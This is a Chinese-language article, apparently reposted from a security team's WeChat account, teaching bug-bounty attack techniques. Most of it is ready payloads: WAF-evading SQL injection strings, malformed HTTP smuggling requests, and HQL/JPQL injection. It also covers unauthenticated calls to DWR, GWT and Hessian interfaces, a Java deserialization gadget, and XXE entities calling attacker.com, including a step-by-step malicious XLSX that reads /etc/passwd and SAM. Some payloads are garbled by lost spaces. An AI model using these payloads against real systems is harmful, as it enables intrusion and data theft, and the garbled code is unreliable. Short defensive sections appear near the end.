众测攻防技术深度剖析:突破WAF、框架漏洞利用与新型攻击面
前言:安全趋势演进与挑战
当前安全领域已形成三大阵营:代表过去的传统漏洞平台、以乙方为首的众测平台,以及甲方主导的SRC平台。随着安全防御能力的不断提升,传统漏洞平台逐渐淡出视野,而SRC和众测平台成为安全研究的主战场。在这种背景下,安全研究人员需要掌握一套系统的方法论来应对日益复杂的防御体系。
本文将从三个核心维度展开深入分析:
-
拦截框架下的注入过程拆解 - 突破WAF的关键技术 -
三方调用框架漏洞利用 - 挖掘隐藏的攻击面 -
SESSION与EXCEL的新型攻击场景 - 边缘漏洞的实战应用
通过系统化的技术分析和实战案例,为安全研究人员提供一套完整的众测攻防方法论。
第一部分:拦截框架下注入的过程拆解
1.1 数据库层面基础铺垫
1.1.1 判断性SQL语句的形式
在WAF拦截环境下,传统的显错注入往往失效,需要采用更隐蔽的判断技术:
/* MySQL布尔盲注技巧 */
IF(1=(SELECT1 REGEXP IF(1=1,1,0x00)),1,1)=1
/* Oracle条件判断 */
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 from dual where 1337>1')),'1')!=1
/* SQL Server函数组合 */
ISNULL(NULLIF(SUBSTRING('admin',1,1),'a'),'c')='c'
技术本质:利用数据库内置函数构造非标准布尔表达式,规避WAF的正则检测规则。这些语句的特点在于:
-
避免使用常见关键词(如SELECT、WHERE) -
利用数据库特定函数(REGEXP、NVL、ISNULL) -
引入十六进制编码(0x00)绕过字符串检测
1.1.2 条件判断函数方法分析
不同数据库的条件判断函数差异较大,需要针对性利用:
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
高级技巧:函数嵌套绕过
/* MySQL多层函数嵌套 */
IFNULL(1/(LOCATE(SUBSTR(@@version,1,1),'5')),'yes')='yes'
此语句通过LOCATE函数定位版本号首字符,IFNULL处理除零错误,实现无报错信息下的精确判断。
1.1.3 通用型判断SQL语句对比
跨数据库的通用判断技术是突破WAF的关键:
/* 数字型通用判断 */
CASE WHEN (ASCII(SUBSTR((SELECTcurrent_user),1,1))>97THEN1ELSE0END
/* 字符串型通用判断 */
SUBSTRING(CAST(CURRENT_TIMESTAMPASVARCHAR(20)),12,2) = '30'
防御突破点:WAF通常难以解析复杂函数嵌套和类型转换,这为绕过提供了机会。
1.2 层层递进分析WAF求证据
1.2.1 WAF产品的原理剖析
现代WAF采用多层检测机制:
-
协议层解析:解析HTTP/HTTPS协议 -
请求规范化:处理URL编码、特殊字符 -
规则引擎匹配:应用正则规则集 -
语义分析:解析SQL语法结构 -
行为分析:检测异常请求模式
绕过原理:利用各层解析差异构造"畸形但合法"的请求:
-
协议层:HTTP版本混淆(HTTP/1.0 vs HTTP/1.1) -
解析层:特殊字符处理差异(/x0a/ vs /%0a/) -
规则层:非常规函数组合 -
语义层:AST解析漏洞
1.2.2 全局过WAF的技术点
a. 畸形包绕过技术
POST /vuln.php HTTP/1.0x0a
X-Header: x0ax0a
Transfer-Encoding: chunkedx0ax0a
0x0ax0a
GET /admin?bypass=1 HTTP/1.1x0a
Host: target.comx0ax0a
技术要点:
-
使用HTTP/1.0协议触发兼容模式 -
添加特殊字符头部破坏解析 -
伪造分块传输编码 -
嵌入额外HTTP请求
b. 正向数据绕过技术
GET /search?q=test&file=----------&Content-Disposition: form-data; name="file"; filename="test.jpg" HTTP/1.1
Host: target.com
技术要点:
-
在GET请求中伪造multipart边界 -
利用阿里云等WAF对GET请求的宽松处理 -
混用参数格式混淆解析器
1.2.3 漏洞层面的过WAF
针对特定漏洞类型设计绕过方案:
SQL注入绕过矩阵:
|
|
|
---|---|---|
|
|
UNION SELECT NULL,CONVERT(@@version,UMSIGNED),NULL |
|
|
IFNULL(1/EXP(LOG(IF(1=1,1,0))),0) |
|
|
CASE WHEN 1=1 THEN BENCHMARK(1000000,MD5('a')) ELSE 0 END |
|
|
ST_LatFromGeoHash(IF(1=1,UPDATEXML(1,CONCAT(0x7e,(SELECT USER())),1),1) |
1.3 框架层的语句分析
1.3.1 基于JPQL类型的绕过分析
JPQL注入漏洞源于不安全的查询拼接:
// 不安全实现
String jpql = "SELECT u FROM User u WHERE u.username = '" + input + "'";
Query query = em.createQuery(jpql);
// 攻击向量
input = "admin' OR '1'='1'--";
高级绕过技术:
// 利用Hibernate特性
input = "\' OR 1=1 OR '1'='1";
// 生成的SQL
SELECT * FROM users WHERE username = '' OR 1=1 OR '1'='1'
漏洞根源:ORM框架的查询转换过程中,转义字符处理不当导致SQL注入。
1.3.2 基于Hibernate类型的绕过分析
Hibernate的HQL注入更具技术性:
// 攻击向量构造
String username = "test\" OR 1<length((select version()))--";
// 最终生成SQL
SELECT * FROM users WHERE username = 'test" OR 1<length((select version()))--'
技术突破点:
-
利用双引号转义( "
)突破字符串边界 -
嵌套SQL函数实现盲注 -
注释符终止后续语句
防御绕过:传统WAF难以解析ORM的转换逻辑,导致此类注入难以被检测。
第二部分:基于三方调用框架分析利用
2.1 WEBSERVICE接口漏洞挖掘
2.1.1 默认安全配置风险
常见WebService框架的默认风险端点:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
配置审计要点:
<!-- Axis2危险配置示例 -->
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
<url-pattern>/services/*</url-pattern>
</servlet-mapping>
2.1.2 未授权访问漏洞
Axis2服务列表未授权访问:
http://target/services/
风险:暴露所有可用服务接口,包含管理功能和敏感数据接口。
2.1.3 自身未修复漏洞
Axis2 XXE漏洞利用:
POST /services/TestService HTTP/1.1
Content-Type: text/xml
<!DOCTYPE root [
<!ENTITY % remoteSYSTEM"http://attacker.com/xxe">
%remote;
]>
<soap:Envelope>
...
</soap:Envelope>
SOAPMonitor反序列化:
-
访问 /SOAPMonitor
查看配置 -
利用5001端口JMX服务 -
发送恶意序列化数据触发RCE
2.2 DWR接口安全分析
2.2.1 默认安全配置项
危险配置示例:
<init-param>
<param-name>debug</param-name>
<param-value>true</param-value><!-- 高风险! -->
</init-param>
风险接口:
/dwr/index.html
/dwr/test/xxx.dwr
2.2.2 未授权访问漏洞
DWR接口调用协议分析:
POST /dwr/call/plaincall/UserService.getUser.dwr HTTP/1.1
Content-Type: text/plain
callCount=1
nextReverseAjaxIndex=0
c0-scriptName=UserService
c0-methodName=getUser
c0-id=0
c0-param0=string:admin
攻击向量:未授权调用任意Java方法,可能导致数据泄露或系统命令执行。
2.2.3 Debug状态下的问题
当debug模式开启时,可直接通过浏览器控制台调用方法:
// 控制台攻击示例
dwr.engine._execute('/dwr', 'UserService', 'deleteUser',
['admin'], function(data){console.log(data)});
2.3 GWT接口安全分析
2.3.1 未授权访问风险
GWT接口识别特征:
POST /app/rpc/UserService HTTP/1.1
X-GWT-Permutation: 4A3B2C1D
Content-Type: text/x-gwt-rpc
7|0|6|http://target/app/|...|getUser|1|admin|2|
攻击面:
-
接口路径枚举: /rpc/UserService
,/rpc/AdminService
-
方法名猜测: getUser
,deleteUser
,execCommand
2.3.2 自带绕WAF光环
GWT协议特点:
-
二进制数据传输 -
自定义序列化格式 -
非标准参数编码
绕过原理:传统WAF无法解析GWT专有协议格式,导致检测失效。
2.4 HESSIAN接口安全分析
2.4.1 未授权访问风险
Hessian协议识别:
POST /UserService.hessian HTTP/1.1
Content-Type: application/x-hessian
二进制数据流特征:
C 02 00 6D 10 67 65 74 55 73 65 72 ...
2.4.2 自带绕WAF光环
绕过原理:
-
二进制协议难以解析 -
非文本数据无法正则匹配 -
自定义序列化格式
2.4.3 自身未修复漏洞
Hessian反序列化漏洞利用:
// 恶意序列化对象构造
publicclassExploitimplementsSerializable{
privatevoidreadObject(ObjectInputStream in){
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}
攻击流程:
-
生成恶意序列化数据 -
通过Hessian接口发送 -
触发目标服务器RCE
第三部分:趣味的SESSION和EXCEL
3.1 PHP中的SESSION污染
3.1.1 验证码逻辑漏洞
典型漏洞代码:
// 验证码生成
functiongenerateCode(){
$_SESSION['captcha'] = rand(1000,9999);
// 发送到用户手机
}
// 验证逻辑
if ($_POST['code'] == $_SESSION['captcha']) {
// 验证通过
}
攻击手法:
-
不请求验证码生成接口 -
直接提交空验证码: POST /reset-password.php HTTP/1.1 code=&username=admin
-
利用 $_SESSION['captcha']
未初始化,空值匹配空值
3.1.2 跨应用SESSION共享
漏洞场景:
应用A:http://demo.site.com
应用B:http://admin.site.com
攻击流程:
-
访问应用A设置特权SESSION: // demo.site.com/set_session.php $_SESSION['is_admin'] = true;
-
使用相同PHPSESSID访问应用B后台 -
绕过身份验证
技术原理:默认配置下PHP使用相同SESSION存储目录,导致会话数据共享。
3.2 XXE在EXCEL中的应用场景
3.2.1 漏洞利用全流程
步骤1:解压XLSX文件
unzip document.xlsx -d exploit_dir
步骤2:注入XXE实体
<!-- exploit_dir/xl/workbook.xml -->
<!DOCTYPE root [
<!ENTITY % remoteSYSTEM"http://attacker.com/xxe">
<!ENTITY % fileSYSTEM"file:///etc/passwd">
]>
步骤3:重打包文件
cd exploit_dir
zip -r ../malicious.xlsx *
步骤4:诱导目标打开文件
3.2.2 高级利用技巧
绕过字符限制:
<!ENTITY % start"<![CDATA[">
<!ENTITY % end"]]>">
<!ENTITY % wrapper"%start;%file;%end;">
敏感文件读取:
<!ENTITY % fileSYSTEM"file:///C:/Windows/system32/config/SAM">
3.2.3 漏洞防御方案
安全解析代码示例:
// 使用SAX解析器禁用外部实体
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// 使用DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
结语:攻防对抗的未来趋势
技术演进方向
-
WAF绕过技术: -
基于AI的语法混淆 -
协议级隧道技术 -
分布式注入攻击
-
-
框架漏洞利用: -
云原生环境下的服务网格漏洞 -
Serverless函数攻击面 -
WASM环境逃逸技术
-
-
新型攻击场景: -
低代码平台漏洞链 -
浏览器API滥用 -
跨媒介攻击(文档→RCE)
-
防御体系建议
-
纵深防御架构: graph TD A[边界WAF] --> B[API网关] B --> C[应用沙箱] C --> D[运行时保护] D --> E[数据库防火墙]
-
关键防护措施: -
协议层:HTTP规范化处理 -
应用层:AST级代码分析 -
数据层:统一加密与脱敏 -
运维层:服务网格策略
-
-
持续检测机制: -
动态污点追踪 -
行为基线分析 -
异常语法检测
-
在日益复杂的攻防对抗中,安全研究人员需要不断深化对底层技术的理解,掌握协议解析、框架机制和新型攻击面的知识体系。只有这样,才能在众测战场上持续突破,推动安全边界的不断扩展。
原文始发于微信公众号(Rot5pider安全团队):众测攻防技术深度剖析:突破WAF、框架漏洞利用与新型攻击面
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论